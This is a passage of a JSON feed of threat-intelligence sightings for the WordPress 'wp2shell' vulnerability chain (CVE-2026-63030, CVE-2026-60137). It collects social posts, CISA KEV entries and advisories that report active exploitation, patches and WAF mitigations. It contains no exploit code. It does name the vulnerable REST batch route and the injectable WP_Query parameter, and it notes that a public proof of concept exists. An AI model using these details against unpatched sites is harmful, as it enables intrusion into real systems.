wp2shell\n\nhttps://www.wiz.io/blog/wp2shell-cve-2026-63030-cve-2026-60137\n\n#CVE #CyberSecurity", "url": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr3zks4pdj2e"}, {"timestamp": "2026-07-20T19:30:48.502Z", "date_only": false, "value": "2026-07-20T19:30:48.502501Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hapsis.bsky.social/post/3mr3zspu2ak2l", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "128f2e3b-b665-41b7-92ba-7b66110733c1", "content": "WordPress Exploitation Underway (CVE-2026-63030), (Mon, Jul 20th)\n\nisc.sans.edu/diary/rss/33...\n\n#Kyberturvallisuus #ThreatIntel #Haavoittuvuus", "url": "https://bsky.app/profile/hapsis.bsky.social/post/3mr3zspu2ak2l"}, {"timestamp": "2026-07-20T19:44:45.708Z", "date_only": false, "value": "2026-07-20T19:44:45.708355Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/anci.gob.cl/post/3mr42le5cas2s", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "569026f2-3699-4784-b523-68c036d0b6e3", "content": "\u26a0\ufe0f Desde la Agencia Nacional de Ciberseguridad (ANCI) compartimos informaci\u00f3n de una vulnerabilidad cr\u00edtica que afecta a #WordPress, identificada como CVE-2026-63030: csirt.gob.cl/alertas/avc2...\n\n\ud83e\udeb2 Esta nueva vulnerabilidad puede combinarse con otra ya conocida para ejecutar c\u00f3digo de manera remota", "url": "https://bsky.app/profile/anci.gob.cl/post/3mr42le5cas2s"}, {"timestamp": "2026-07-20T20:00:05.073Z", "date_only": false, "value": "2026-07-20T20:00:05.073102Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/ctinow/253641", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "d1f07e95-c01c-4187-8a9d-313fc7537f62", "content": "WordPress Exploitation Underway (CVE-2026-63030), (Mon, Jul 20th)\nhttps://ift.tt/RofInb8", "url": "https://t.me/ctinow/253641"}, {"timestamp": "2026-07-20T20:00:05.233Z", "date_only": false, "value": "2026-07-20T20:00:05.233164Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94364", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "04702112-4d31-470f-8365-503e2d65c45f", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-63030\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Ch4120N\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-20 18:41:40\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-63030 - WordPress REST Batch Route-Confusion SQL Injection Proof of Concept\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94364"}, {"timestamp": "2026-07-20T20:00:15.802Z", "date_only": false, "value": "2026-07-20T20:00:15.802110Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3mr43hh35n52j", "record": "cve-2026-63030", "field": "creation_timestamp", "uuid": "9a976b31-e0d4-48a9-9959-5f4e09b5f783", "content": "\ud83d\udce2 Exploitation active de deux vuln\u00e9rabilit\u00e9s WordPress (CVE-2026-60137 et CVE-2026-63030)\n\ud83d\udcdd \ud83d\udcf0 **Source** : SecurityWeek \u2014 publi\u00e9 le 20 juillet \u2026\nhttps://cyberveille.ch/posts/2026-07-20-exploitation-active-de-deux-vulnerabilites-wordpress-cve-2026-60137-et-cve-2026-63030/ #CVE_2026_60137 #Cyberveille", "url": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3mr43hh35n52j"}, {"timestamp": "2026-07-20T20:08:32.527Z", "date_only": false, "value": "2026-07-20T20:08:32.527654Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr43w5haf32x", "record": "cve-2026-63030", "field": "creation_timestamp", "uuid": "b2b5927a-21c0-4960-bd00-62e52c2596e3", "content": "\ud83d\udea8 CISA KEV [CVSS 9.8 \u00b7 CRITICAL]\nwp2shell (CVE-2026-63030, CVE-2026-60137): Frequently asked questions about remote code execution chain in WordPress Co\u2026\n\nhttps://www.tenable.com/blog/wp2shell-cve-2026-63030-cve-2026-60137-frequently-asked-questions-about-remote-code-execution\n\n#AISecurity #AI #CISA", "url": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr43w5haf32x"}, {"timestamp": "2026-07-20T20:15:05.995Z", "date_only": false, "value": "2026-07-20T20:15:05.995511Z", "kind": "sighting", "label": "Seen", "source": "https://cyber.gc.ca/en/alerts-advisories/wordpress-security-advisory-av26-723", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "3fb67cef-5a5d-42db-a0ee-b3fe14d87563", "url": "https://cyber.gc.ca/en/alerts-advisories/wordpress-security-advisory-av26-723"}, {"timestamp": "2026-07-20T20:26:14.015Z", "date_only": false, "value": "2026-07-20T20:26:14.015595Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr44vvd6xf2k", "record": "cve-2026-63030", "field": "creation_timestamp", "uuid": "90ec8fa4-9d5a-441d-aeae-e72f9ad2ef4d", "content": "\ud83d\udc1b Exploitation in the Wild of wp2shell\n\nhttps://www.wiz.io/blog/wp2shell-cve-2026-63030-cve-2026-60137\n\n#CVE #CyberSecurity", "url": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr44vvd6xf2k"}, {"timestamp": "2026-07-20T21:08:25.710Z", "date_only": false, "value": "2026-07-20T21:08:25.710669Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr47bdkscs2l", "record": "cve-2026-63030", "field": "creation_timestamp", "uuid": "78fff598-da86-439e-b88c-fcf2f154db40", "content": "\ud83d\udea8 CISA KEV [CVSS 9.8 \u00b7 CRITICAL]\nwp2shell (CVE-2026-63030, CVE-2026-60137): Frequently asked questions about remote code execution chain in WordPress Co\u2026\n\nhttps://www.tenable.com/blog/wp2shell-cve-2026-63030-cve-2026-60137-frequently-asked-questions-about-remote-code-execution\n\n#AISecurity #AI #CISA", "url": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr47bdkscs2l"}, {"timestamp": "2026-07-20T21:24:26.845Z", "date_only": false, "value": "2026-07-20T21:24:26.845072Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr4a5y7hqv2j", "record": "cve-2026-63030", "field": "creation_timestamp", "uuid": "bf0c94e2-4e75-4ea4-889a-29406780a8ea", "content": "\ud83d\udc1b Exploitation in the Wild of wp2shell\n\nhttps://www.wiz.io/blog/wp2shell-cve-2026-63030-cve-2026-60137\n\n#CVE #CyberSecurity", "url": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr4a5y7hqv2j"}, {"timestamp": "2026-07-20T21:59:55.215Z", "date_only": false, "value": "2026-07-20T21:59:55.215228Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mr4c5g2tg72o", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "5b4551f4-1fc3-4460-8d14-b7ac6e5ec0ae", "content": "\ud83e\udd16 CVE-2026-60137 + CVE-2026-63030 (WP2Shell): two WordPress vulns chained for unauthenticated RCE, actively exploited in the wild. Millions of sites exposed.\nhttps://www.darkreading.com/cyberattacks-data-breaches/wp2shell-millions-wordpress-sites-remote-takeover", "url": "https://bsky.app/profile/newssecia.bsky.social/post/3mr4c5g2tg72o"}, {"timestamp": "2026-07-20T22:08:55.857Z", "date_only": false, "value": "2026-07-20T22:08:55.857804Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr4cnjnubc2k", "record": "cve-2026-63030", "field": "creation_timestamp", "uuid": "d75ef2df-be41-4d80-ab8f-8e7e95f73819", "content": "\ud83d\udea8 CISA KEV [CVSS 9.8 \u00b7 CRITICAL]\nwp2shell (CVE-2026-63030, CVE-2026-60137): Frequently asked questions about remote code execution chain in WordPress Co\u2026\n\nhttps://www.tenable.com/blog/wp2shell-cve-2026-63030-cve-2026-60137-frequently-asked-questions-about-remote-code-execution\n\n#AISecurity #AI #CISA", "url": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr4cnjnubc2k"}, {"timestamp": "2026-07-20T22:24:25.423Z", "date_only": false, "value": "2026-07-20T22:24:25.423278Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr4dja3xsv2y", "record": "cve-2026-63030", "field": "creation_timestamp", "uuid": "dc11c890-2174-4731-9a46-e51066d59459", "content": "\ud83d\udc1b Exploitation in the Wild of wp2shell\n\nhttps://www.wiz.io/blog/wp2shell-cve-2026-63030-cve-2026-60137\n\n#CVE #CyberSecurity", "url": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr4dja3xsv2y"}, {"timestamp": "2026-07-20T23:02:17.998Z", "date_only": false, "value": "2026-07-20T23:02:17.998596Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/happeningnow.news/post/3mr4fmwxlzv2g", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "891a002b-ead2-41c6-95c5-98d87a0176d1", "content": "'WP2Shell' Opens Millions of WordPress Sites to Remote Takeover\nBarely three days after disclosure, attackers are widely chaining together CVE-2026-60137 and CVE-2026-63030 to lob exploit attempts against one of the largest attack surfaces on\u2026\n\n\ud83d\udd17 https://hnow.live/a/cf051d72", "url": "https://bsky.app/profile/happeningnow.news/post/3mr4fmwxlzv2g"}, {"timestamp": "2026-07-20T23:08:32.640Z", "date_only": false, "value": "2026-07-20T23:08:32.640469Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr4fy4kjga2n", "record": "cve-2026-63030", "field": "creation_timestamp", "uuid": "7b45e03b-7fff-4c15-85c0-6b2257951226", "content": "\ud83d\udea8 CISA KEV [CVSS 9.8 \u00b7 CRITICAL]\nwp2shell (CVE-2026-63030, CVE-2026-60137): Frequently asked questions about remote code execution chain in WordPress Co\u2026\n\nhttps://www.tenable.com/blog/wp2shell-cve-2026-63030-cve-2026-60137-frequently-asked-questions-about-remote-code-execution\n\n#AISecurity #AI #CISA", "url": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr4fy4kjga2n"}, {"timestamp": "2026-07-20T23:09:02.532Z", "date_only": false, "value": "2026-07-20T23:09:02.532541Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/eulanov.m.eula.dev.ap.brid.gy/post/3mr4fyseqkuz2", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "a6da55d0-4a9a-4661-a975-1c4cbb74914c", "content": "wp2shell\uff08CVE-2026-63030\uff09\u3092\u300c\u5165\u53e3\u3067\u6b62\u3081\u3089\u308c\u306a\u3044\u300d\u7406\u7531\u3068\u3001\u30e9\u30f3\u30bf\u30a4\u30e0\u3067\u6355\u307e\u3048\u308b\u8a2d\u8a08 # cve - Qiita https://qiita.com/keitah/items/437ab259b8b52e8cf090\n\n> wp2shell \u306f Searchlight Cyber\uff08\u65e7 Assetnote\uff09\u306e Adam Kues \u6c0f\u304c\u767a\u898b\u3057\u30012026\u5e747\u670817\u65e5\u306b WordPress \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c1\u30fc\u30e0\u3068\u5354\u8abf\u3057\u3066\u958b\u793a\u3055\u308c\u305f\u8106\u5f31\u6027\u30c1\u30a7\u30fc\u30f3\u3067\u3059\u3002GitHub Security Advisory\uff08GHSA-ff9f-jf42-662q\uff09\u3068 WordPress 7.0.2 / [\u2026]", "url": "https://bsky.app/profile/eulanov.m.eula.dev.ap.brid.gy/post/3mr4fyseqkuz2"}, {"timestamp": "2026-07-21T00:00:00Z", "date_only": false, "value": "2026-07-21T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "cisa-kev", "record": "CVE-2026-63030", "field": "timestamps.asserted_at", "uuid": "5262bec6-e720-4659-ba72-07c4d7008d00", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-07-21T00:00:00Z", "date_only": true, "value": "2026-07-21", "kind": "other", "label": "Catalog added", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2026-63030", "field": "containers.adp.0.metrics.1.other.content.dateAdded"}, {"timestamp": "2026-07-21T00:00:00Z", "date_only": true, "value": "2026-07-21", "kind": "kev", "label": "Date added", "source": "cisa-kev", "record": "CVE-2026-63030", "field": "evidence.0.details.date_added", "uuid": "5262bec6-e720-4659-ba72-07c4d7008d00", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-07-21T00:00:00Z", "date_only": false, "value": "2026-07-21T00:00:00+00:00", "kind": "kev", "label": "First seen", "source": "cisa-kev", "record": "CVE-2026-63030", "field": "timestamps.first_seen_at", "uuid": "5262bec6-e720-4659-ba72-07c4d7008d00", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-07-21T00:00:00Z", "date_only": false, "value": "2026-07-21T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "cisa-kev", "record": "CVE-2026-63030", "field": "status.status_updated_at", "uuid": "5262bec6-e720-4659-ba72-07c4d7008d00", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-07-21T00:00:38.599Z", "date_only": false, "value": "2026-07-21T00:00:38.599797Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/true_secator/8423", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "26bff1b1-0c29-4171-b67f-192f63ed8913", "content": "\u0412 \u043a\u0438\u0431\u0435\u0440\u043f\u043e\u0434\u043f\u043e\u043b\u044c\u0435 \u0440\u0430\u0441\u0448\u0430\u0440\u0438\u043b\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0434\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 wp2shell, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0445 \u044f\u0434\u0440\u043e WordPress. \u0412 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 WordPress 6.9.5 \u0438 7.0.2 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432\u0441\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0430\u0442\u0430\u043a wp2shell.\n\n\u0410\u0442\u0430\u043a\u0430 wp2shell \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u0434\u0432\u0443\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 - CVE-2026-63030 \u0438 CVE-2026-60137, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0434\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430\u0445 WordPress \u0432\u0435\u0440\u0441\u0438\u0439 6.9.x \u0438 7.0.x.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0410\u0434\u0430\u043c\u043e\u043c \u041a\u0443\u044d\u0441\u043e\u043c \u0438\u0437 Searchlight Cyber, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0438\u0445 \u0434\u043b\u044f \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0439 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 WordPress.\n\n\u041f\u0440\u0438\u0447\u0435\u043c \u0443 \u044d\u0442\u043e\u0439 \u0430\u0442\u0430\u043a\u0438 \u043d\u0435\u0442 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u0439, \u0438 \u043e\u043d\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0432 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0439 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 WordPress \u0431\u0435\u0437 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u043f\u043b\u0430\u0433\u0438\u043d\u043e\u0432.\n\n\u041f\u043e \u043e\u0446\u0435\u043d\u043a\u0430\u043c Searchlight Cyber, \u0431\u043e\u043b\u0435\u0435 500 \u043c\u043b\u043d. \u0441\u0430\u0439\u0442\u043e\u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 WordPress, \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u043e\u0439, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0441\u0435\u0439\u0447\u0430\u0441, \u043a\u043e\u0433\u0434\u0430 \u0431\u044b\u043b\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u044b \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b.\n\n\u0412 \u0441\u0432\u044f\u0437\u0438 \u0441 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u044c\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 WordPress \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u043f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0445 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u043a, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0445 \u0441 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u043c\u0438 \u0432\u0435\u0440\u0441\u0438\u044f\u043c\u0438, \u0438 \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430\u043c \u0441\u0430\u0439\u0442\u043e\u0432 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c WordPress \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 7.0.2 \u0438\u043b\u0438 6.9.5.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u043d\u0435 \u0432 \u043e\u0434\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0430 \u0432 \u0434\u0432\u0443\u0445 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c\u0441\u044f \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u041f\u0435\u0440\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, CVE-2026-63030, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0443\u044e \u043a \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u0435 \u043f\u0440\u0438 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438 REST API, \u043f\u043e\u044f\u0432\u0438\u0432\u0448\u0443\u044e\u0441\u044f \u0432 WordPress 6.9. \u041e\u043d\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u0430 \u0441 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0439 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0438\u0436\u0435\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.\n\n\u0412\u0442\u043e\u0440\u0430\u044f CVE-2026-60137 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u0432 author__not_in\u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 WP_Query. WordPress \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0435\u0451 \u043a\u0430\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0443\u044e WordPress 6.8 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f\u043c WordPress, \u0432\u0441\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 WordPress \u0432\u0435\u0440\u0441\u0438\u0439 6.9.0-6.9.4 \u0438 WordPress \u0432\u0435\u0440\u0441\u0438\u0439 7.0.0-7.0.1.\n\nSQL-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 WordPress \u0432\u0435\u0440\u0441\u0438\u0439 6.8.0\u20136.8.5, \u043d\u043e \u0435\u0451 \u043d\u0435\u043b\u044c\u0437\u044f \u0441\u0432\u044f\u0437\u0430\u0442\u044c \u0441 RCE, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043e\u0448\u0438\u0431\u043a\u0430, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0430\u044f \u043a \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u0435 \u043f\u0440\u0438 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438 REST API, \u043f\u043e\u044f\u0432\u0438\u043b\u0430\u0441\u044c \u043b\u0438\u0448\u044c \u0432 WordPress 6.9.\n\nSearchlight Cyber \u0432 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u043d\u0435 \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0430\u0435\u0442 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438, \u0432\u043c\u0435\u0441\u0442\u043e \u044d\u0442\u043e\u0433\u043e \u0441\u043e\u0437\u0434\u0430\u043b\u0430 wp2shell.com, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c, \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u043b\u0438 \u0438\u0445 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 WordPress.\n\n\u041e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c, \u043d\u0435 \u0438\u043c\u0435\u044e\u0449\u0438\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u0443, Searchlight Cyber \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u043b\u0430\u0433\u0438\u043d, \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044e\u0449\u0435\u0433\u043e \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a REST API \u0438\u043b\u0438 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c /wp-json/batch/v1 \u0438 ?rest_route=/batch/v1 \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 WAF.\n\nCloudflare \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0438 